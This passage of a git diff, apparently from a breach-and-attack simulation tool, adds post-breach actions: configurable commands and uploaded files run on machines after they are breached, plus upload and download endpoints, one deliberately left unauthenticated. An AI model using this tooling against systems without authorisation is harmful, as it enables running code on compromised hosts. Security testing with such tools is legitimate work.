monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.services.config import ConfigService from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService +from monkey_island.cc.resources.pba_file_upload import FileUpload +from monkey_island.cc.resources.attack_telem import AttackTelem __author__ = 'Barak' @@ -121,6 +124,11 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') + api.add_resource(PBAFileDownload, '/api/pba/download/') + api.add_resource(FileUpload, '/api/fileUpload/', + '/api/fileUpload/?load=', + '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') + api.add_resource(AttackTelem, '/api/attack/') return app diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack_telem.py new file mode 100644 index 000000000..bef0a8585 --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack_telem.py @@ -0,0 +1,24 @@ +import flask_restful +from flask import request +import json +from monkey_island.cc.services.attack.attack_telem import set_results +import logging + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class AttackTelem(flask_restful.Resource): + """ + ATT&CK endpoint used to retrieve matrix related info from monkey + """ + + def post(self, technique): + """ + Gets ATT&CK telemetry data and stores it in the database + :param technique: Technique ID, e.g. T1111 + """ + data = json.loads(request.data) + set_results(technique, data) + return {} diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py new file mode 100644 index 000000000..5b567e8e4 --- /dev/null +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -0,0 +1,14 @@ +import flask_restful +from flask import send_from_directory +from monkey_island.cc.resources.pba_file_upload import GET_FILE_DIR + +__author__ = 'VakarisZ' + + +class PBAFileDownload(flask_restful.Resource): + """ + File download endpoint used by monkey to download user's PBA file + """ + # Used by monkey. can't secure. + def get(self, path): + return send_from_directory(GET_FILE_DIR, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py new file mode 100644 index 000000000..0d924a742 --- /dev/null +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -0,0 +1,83 @@ +import flask_restful +from flask import request, send_from_directory, Response +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR +from monkey_island.cc.auth import jwt_required +import os +from werkzeug.utils import secure_filename +import logging +import copy + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) +GET_FILE_DIR = "./userUploads" +# Front end uses these strings to identify which files to work with (linux of windows) +LINUX_PBA_TYPE = 'PBAlinux' +WINDOWS_PBA_TYPE = 'PBAwindows' + + +class FileUpload(flask_restful.Resource): + """ + File upload endpoint used to exchange files with filepond component on the front-end + """ + @jwt_required() + def get(self, file_type): + """ + Sends file to filepond + :param file_type: Type indicates which file to send, linux or windows + :return: Returns file contents + """ + # Verify that file_name is indeed a file from config + if file_type == LINUX_PBA_TYPE: + filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) + else: + filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) + return send_from_directory(GET_FILE_DIR, filename) + + @jwt_required() + def post(self, file_type): + """ + Receives user's uploaded file from filepond + :param file_type: Type indicates which file was received, linux or windows + :return: Returns flask response object with uploaded file's filename + """ + filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) + + response = Response( + response=filename, + status=200, mimetype='text/plain') + return response + + @jwt_required() + def delete(self, file_type): + """ + Deletes file that has been deleted on the front end + :param file_type: Type indicates which file was deleted, linux of windows + :return: Empty response + """ + filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH + filename = ConfigService.get_config_value(filename_path) + file_path = os.path.join(UPLOADS_DIR, filename) + try: + if os.path.exists(file_path): + os.remove(file_path) + ConfigService.set_config_value(filename_path, '') + except OSError as e: + LOG.error("Can't remove previously uploaded post breach files: %s" % e) + + return {} + + @staticmethod + def upload_pba_file(request_, is_linux=True): + """ + Uploads PBA file to island's file system + :param request_: Request object containing PBA file + :param is_linux: Boolean indicating if this file is for windows or for linux + :return: filename string + """ + filename = secure_filename(request_.files['filepond'].filename) + file_path = os.path.join(UPLOADS_DIR, filename) + request_.files['filepond'].save(file_path) + ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename) + return filename diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index dce1adccb..828a97682 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -10,6 +10,7 @@ from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.report import ReportService from monkey_island.cc.utils import local_ip_addresses +from monkey_island.cc.services.post_breach_files import remove_PBA_files __author__ = 'Barak' @@ -42,6 +43,7 @@ class Root(flask_restful.Resource): @staticmethod @jwt_required() def reset_db(): + remove_PBA_files() # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 56c96dee9..04a6ddbd1 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource): if len(credential) > 0: attempts[i][field] = encryptor.enc(credential.encode('utf-8')) + @staticmethod + def process_post_breach_telemetry(telemetry_json): + mongo.db.monkey.update( + {'guid': telemetry_json['monkey_guid']}, + {'$push': {'pba_results': telemetry_json['data']}}) TELEM_PROCESS_DICT = \ { @@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \ 'exploit': Telemetry.process_exploit_telemetry, 'scan': Telemetry.process_scan_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry, - 'trace': Telemetry.process_trace_telemetry + 'trace': Telemetry.process_trace_telemetry, + 'post_breach': Telemetry.process_post_breach_telemetry } diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index d3eb31162..01fdcc51c 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource): def get_trace_telem_brief(telem): return 'Monkey reached max depth.' + @staticmethod + def get_post_breach_telem_brief(telem): + return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], + telem['data']['hostname'], + telem['data']['ip']) + TELEM_PROCESS_DICT = \ { @@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \ 'exploit': TelemetryFeed.get_exploit_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief, 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, - 'trace': TelemetryFeed.get_trace_telem_brief + 'trace': TelemetryFeed.get_trace_telem_brief, + 'post_breach': TelemetryFeed.get_post_breach_telem_brief } diff --git a/monkey/monkey_island/cc/services/attack/__init__.py b/monkey/monkey_island/cc/services/attack/__init__.py new file mode 100644 index 000000000..98867ed4d --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/__init__.py @@ -0,0 +1 @@ +__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py new file mode 100644 index 000000000..a4e219270 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -0,0 +1,19 @@ +""" +File that contains ATT&CK telemetry storing/retrieving logic +""" +import logging +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +def set_results(technique, data): + """ + Adds ATT&CK technique results(telemetry) to the database + :param technique: technique ID string e.g. T1110 + :param data: Data, relevant to the technique + """ + data.update({'technique': technique}) + mongo.db.attack_results.insert(data) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 5b6b25cac..c52ceb3f4 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,6 +4,7 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types +import monkey_island.cc.services.post_breach_files from monkey_island.cc.database import mongo from monkey_island.cc.encryptor import encryptor @@ -69,6 +70,12 @@ class ConfigService: config = [encryptor.dec(x) for x in config] return config + @staticmethod + def set_config_value(config_key_as_arr, value): + mongo_key = ".".join(config_key_as_arr) + mongo.db.config.update({'name': 'newconfig'}, + {"$set": {mongo_key: value}}) + @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): config_json = ConfigService.get_config(is_initial_config, should_decrypt) @@ -128,6 +135,8 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): + # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there + monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -163,6 +172,7 @@ class ConfigService: @staticmethod def reset_config(): + monkey_island.cc.services.post_breach_files.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index afb3d9da4..3ec3c7212 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -313,6 +313,46 @@ SCHEMA = { "title": "Behaviour", "type": "object", "properties": { + "custom_PBA_linux_cmd": { + "title": "Linux post breach command", + "type": "string", + "default": "", + "description": "Linux command to be executed after breaching." + }, + "PBA_linux_file": { + "title": "Linux post breach file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Linux post breach command' field. " + "Reference your file by filename." + }, + "custom_PBA_windows_cmd": { + "title": "Windows post breach command", + "type": "string", + "default": "", + "description": "Windows command to be executed after breaching." + }, + "PBA_windows_file": { + "title": "Windows post breach file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Windows post breach command' field. " + "Reference your file by filename." + }, + "PBA_windows_filename": { + "title": "Windows PBA filename", + "type": "string", + "default": "" + }, + "PBA_linux_filename": { + "title": "Linux PBA filename", + "type": "string", + "default": "" + }, "self_delete_in_cleanup": { "title": "Self delete on cleanup", "type": "boolean", @@ -423,7 +463,19 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } + }, + "monkey_dir_windows": { + "title": "Monkey's windows directory", + "type": "string", + "default": r"C:\Windows\temp\monkey_dir", + "description": "Directory containing all monkey files on windows" + }, + "monkey_dir_linux": { + "title": "Monkey's linux directory", + "type": "string", + "default": "/tmp/monkey_dir", + "description": "Directory containing all monkey files on linux" + }, } }, "classes": { diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 5d7e58176..fa500aab5 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -142,7 +142,8 @@ class NodeService: "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], - "domain_name": "" + "domain_name": "", + "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] } @staticmethod diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py new file mode 100644 index 000000000..7d88d9d85 --- /dev/null +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -0,0 +1,43 @@ +import monkey_island.cc.services.config +import logging +import os + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + +# Where to find file names in config +PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename'] +PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename'] +UPLOADS_DIR = 'monkey_island/cc/userUploads' + + +def remove_PBA_files(): + if monkey_island.cc.services.config.ConfigService.get_config(): + windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + if linux_filename: + remove_file(linux_filename) + if windows_filename: + remove_file(windows_filename) + + +def remove_file(file_name): + file_path = os.path.join(UPLOADS_DIR, file_name) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + logger.error("Can't remove previously uploaded post breach files: %s" % e) + + +def set_config_PBA_files(config_json): + """ + Sets PBA file info in config_json to current config's PBA file info values. + :param config_json: config_json that will be modified + """ + if monkey_island.cc.services.config.ConfigService.get_config(): + linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) + config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename + config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 3c5efd037..a19dc03c0 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -132,7 +132,8 @@ class ReportService: (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), 'services': node['services'], - 'domain_name': node['domain_name'] + 'domain_name': node['domain_name'], + 'pba_results': node['pba_results'] if 'pba_results' in node else 'None' }) logger.info('Scanned nodes generated for reporting') diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 2373193c1..58208ef24 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -621,6 +621,7 @@ "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "dev": true, + "optional": true, "requires": { "kind-of": "^3.0.2", "longest": "^1.0.1", @@ -2424,9 +2425,9 @@ } }, "bootstrap": { - "version": "3.3.7", - "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.3.7.tgz", - "integrity": "sha1-WjiTlFSfIzMIdaOxUGVldPip63E=" + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.4.1.tgz", + "integrity": "sha512-yN5oZVmRCwe5aKwzRj6736nSmKDX7pLYwsXiCj/EYmo16hODaBiT4En5btW/jhBF/seV+XMx3aYwukYC3A49DA==" }, "bower-webpack-plugin": { "version": "0.1.9", @@ -3292,7 +3293,7 @@ }, "yargs": { "version": "11.1.0", - "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { @@ -5122,6 +5123,11 @@ "dev": true, "optional": true }, + "filepond": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz", + "integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA==" + }, "fill-range": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz", @@ -5446,7 +5452,8 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "aproba": { "version": "1.1.1", @@ -5497,7 +5504,8 @@ "balanced-match": { "version": "0.4.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "bcrypt-pbkdf": { "version": "1.0.1", @@ -5536,7 +5544,8 @@ "buffer-shims": { "version": "1.0.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "caseless": { "version": "0.12.0", @@ -5807,7 +5816,8 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "ini": { "version": "1.3.4", @@ -6002,6 +6012,7 @@ "version": "1.4.0", "bundled": true, "dev": true, + "optional": true, "requires": { "wrappy": "1" } @@ -6311,7 +6322,8 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true } } }, @@ -6396,6 +6408,7 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "dev": true, + "optional": true, "requires": { "is-glob": "^2.0.0" } @@ -7636,7 +7649,8 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", - "dev": true + "dev": true, + "optional": true }, "is-finite": { "version": "1.0.2", @@ -7658,6 +7672,7 @@ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "dev": true, + "optional": true, "requires": { "is-extglob": "^1.0.0" } @@ -7724,7 +7739,8 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", - "dev": true + "dev": true, + "optional": true }, "is-promise": { "version": "2.1.0", @@ -8279,7 +8295,8 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "aproba": { "version": "1.2.0", @@ -8322,7 +8339,8 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "concat-map": { "version": "0.0.1", @@ -8333,7 +8351,8 @@ "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "core-util-is": { "version": "1.0.2", @@ -8434,7 +8453,7 @@ "dev": true, "optional": true, "requires": { - "minimatch": "3.0.4" + "minimatch": "^3.0.4" } }, "inflight": { @@ -8450,7 +8469,8 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "ini": { "version": "1.3.5", @@ -8462,6 +8482,7 @@ "version": "1.0.0", "bundled": true, "dev": true, + "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -8484,12 +8505,14 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, + "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -8508,6 +8531,7 @@ "version": "0.5.1", "bundled": true, "dev": true, + "optional": true, "requires": { "minimist": "0.0.8" } @@ -8588,7 +8612,8 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "object-assign": { "version": "4.1.1", @@ -8600,6 +8625,7 @@ "version": "1.4.0", "bundled": true, "dev": true, + "optional": true, "requires": { "wrappy": "1" } @@ -8685,7 +8711,8 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "safer-buffer": { "version": "2.1.2", @@ -8721,6 +8748,7 @@ "version": "1.0.2", "bundled": true, "dev": true, + "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -8740,6 +8768,7 @@ "version": "3.0.1", "bundled": true, "dev": true, + "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -8783,12 +8812,14 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true } } }, @@ -9357,7 +9388,8 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", - "dev": true + "dev": true, + "optional": true }, "loose-envify": { "version": "1.3.1", @@ -13872,6 +13904,11 @@ "prop-types": "^15.5.8" } }, + "react-filepond": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz", + "integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw==" + }, "react-graph-vis": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", @@ -17072,7 +17109,8 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "safer-buffer": { "version": "2.1.2", @@ -17128,6 +17166,7 @@ "version": "3.0.1", "bundled": true, "dev": true, + "optional": true, "requires": { "ansi-regex": "2.1.1" } @@ -17171,12 +17210,14 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true } } }, @@ -18321,7 +18362,8 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "aproba": { "version": "1.2.0", @@ -18364,7 +18406,8 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "concat-map": { "version": "0.0.1", @@ -18375,7 +18418,8 @@ "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "core-util-is": { "version": "1.0.2", @@ -18476,7 +18520,7 @@ "dev": true, "optional": true, "requires": { - "minimatch": "3.0.4" + "minimatch": "^3.0.4" } }, "inflight": { @@ -18492,7 +18536,8 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "ini": { "version": "1.3.5", @@ -18504,6 +18549,7 @@ "version": "1.0.0", "bundled": true, "dev": true, + "optional": true, "requires": { "number-is-nan": "^1.0.0" } @@ -18526,12 +18572,14 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "minipass": { "version": "2.2.4", "bundled": true, "dev": true, + "optional": true, "requires": { "safe-buffer": "^5.1.1", "yallist": "^3.0.0" @@ -18550,6 +18598,7 @@ "version": "0.5.1", "bundled": true, "dev": true, + "optional": true, "requires": { "minimist": "0.0.8" } @@ -18630,7 +18679,8 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "object-assign": { "version": "4.1.1", @@ -18642,6 +18692,7 @@ "version": "1.4.0", "bundled": true, "dev": true, + "optional": true, "requires": { "wrappy": "1" } @@ -18727,7 +18778,8 @@ "safe-buffer": { "version": "5.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "safer-buffer": { "version": "2.1.2", @@ -18763,6 +18815,7 @@ "version": "1.0.2", "bundled": true, "dev": true, + "optional": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -18782,6 +18835,7 @@ "version": "3.0.1", "bundled": true, "dev": true, + "optional": true, "requires": { "ansi-regex": "^2.0.0" } @@ -18825,12 +18879,14 @@ "wrappy": { "version": "1.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "yallist": { "version": "3.0.2", "bundled": true, - "dev": true + "dev": true, + "optional": true } } }, diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index b69707349..8218b89ae 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -64,10 +64,11 @@ "webpack-dev-server": "^3.1.9" }, "dependencies": { - "bootstrap": "3.3.7", + "bootstrap": "3.4.1", "core-js": "^2.5.7", "downloadjs": "^1.4.7", "fetch": "^1.1.0", + "filepond": "^4.2.0", "js-file-download": "^0.4.4", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", @@ -83,6 +84,7 @@ "react-dimensions": "^1.3.0", "react-dom": "^16.5.2", "react-fa": "^5.0.0", + "react-filepond": "^7.0.1", "react-graph-vis": "^1.0.2", "react-json-tree": "^0.11.0", "react-jsonschema-form": "^1.0.5", diff --git a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js index 428c3272a..9eb02a397 100644 --- a/monkey/monkey_island/cc/ui/src/components/AuthComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js @@ -6,6 +6,7 @@ class AuthComponent extends React.Component { super(props); this.auth = new AuthService(); this.authFetch = this.auth.authFetch; + this.jwtHeader = this.auth.jwtHeader(); } } diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 02cf9fdee..da8e59113 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -78,6 +78,7 @@ class AppComponent extends AuthComponent { constructor(props) { super(props); this.state = { + removePBAfiles: false, completedSteps: { run_server: true, run_monkey: false, @@ -88,6 +89,11 @@ class AppComponent extends AuthComponent { }; } + // Sets the property that indicates if we need to remove PBA files from state or not + setRemovePBAfiles = (rmFiles) => { + this.setState({removePBAfiles: rmFiles}); + }; + componentDidMount() { this.updateStatus(); this.interval = setInterval(this.updateStatus, 5000); diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 5915b3eaa..bb369fa73 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; +import { FilePond } from 'react-filepond'; +import 'filepond/dist/filepond.min.css'; class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); - + this.PBAwindowsPond = null; + this.PBAlinuxPond = null; this.currentSection = 'basic'; this.currentFormData = {}; this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; - + this.uiSchema = { + behaviour: { + custom_PBA_linux_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_linux_file: { + "ui:widget": this.PBAlinux + }, + custom_PBA_windows_cmd: { + "ui:widget": "textarea", + "ui:emptyValue": "" + }, + PBA_windows_file: { + "ui:widget": this.PBAwindows + }, + PBA_linux_filename: { + classNames: "linux-pba-file-info", + "ui:emptyValue": "" + }, + PBA_windows_filename: { + classNames: "windows-pba-file-info", + "ui:emptyValue": "" + } + } + }; // set schema from server this.state = { schema: {}, @@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent { lastAction: 'none', sections: [], selectedSection: 'basic', - allMonkeysAreDead: true + allMonkeysAreDead: true, + PBAwinFile: [], + PBAlinuxFile: [] }; } @@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent { }; resetConfig = () => { + this.removePBAfiles(); this.authFetch('/api/configuration/island', { method: 'POST', @@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent { }); }; + removePBAfiles(){ + // We need to clean files from widget, local state and configuration (to sync with bac end) + if (this.PBAwindowsPond !== null){ + this.PBAwindowsPond.removeFile(); + } + if (this.PBAlinuxPond !== null){ + this.PBAlinuxPond.removeFile(); + } + let request_options = {method: 'DELETE', + headers: {'Content-Type': 'text/plain'}}; + this.authFetch('/api/fileUpload/PBAlinux', request_options); + this.authFetch('/api/fileUpload/PBAwindows', request_options); + this.setState({PBAlinuxFile: [], PBAwinFile: []}); + } + onReadFile = (event) => { try { this.setState({ @@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent { }); }; + PBAwindows = () => { + return ( { + this.setState({ + PBAwinFile: fileItems.map(fileItem => fileItem.file) + }) + }} + ref={ref => this.PBAwindowsPond = ref} + />) + }; + + PBAlinux = () => { + return ( { + this.setState({ + PBAlinuxFile: fileItems.map(fileItem => fileItem.file) + }) + }} + ref={ref => this.PBAlinuxPond = ref} + />) + }; + + getWinPBAfile(){ + if (this.state.PBAwinFile.length !== 0){ + return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0]) + } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){ + return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename) + } + } + + getLinuxPBAfile(){ + if (this.state.PBAlinuxFile.length !== 0){ + return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0]) + } else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) { + return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename) + } + } + + static getFullPBAfile(filename){ + let pbaFile = [{ + source: filename, + options: { + type: 'limbo' + } + }]; + return pbaFile + } + + static getMockPBAfile(mockFile){ + let pbaFile = [{ + source: mockFile.name, + options: { + type: 'limbo' + } + }]; + pbaFile[0].options.file = mockFile; + return pbaFile + } + render() { let displayedSchema = {}; if 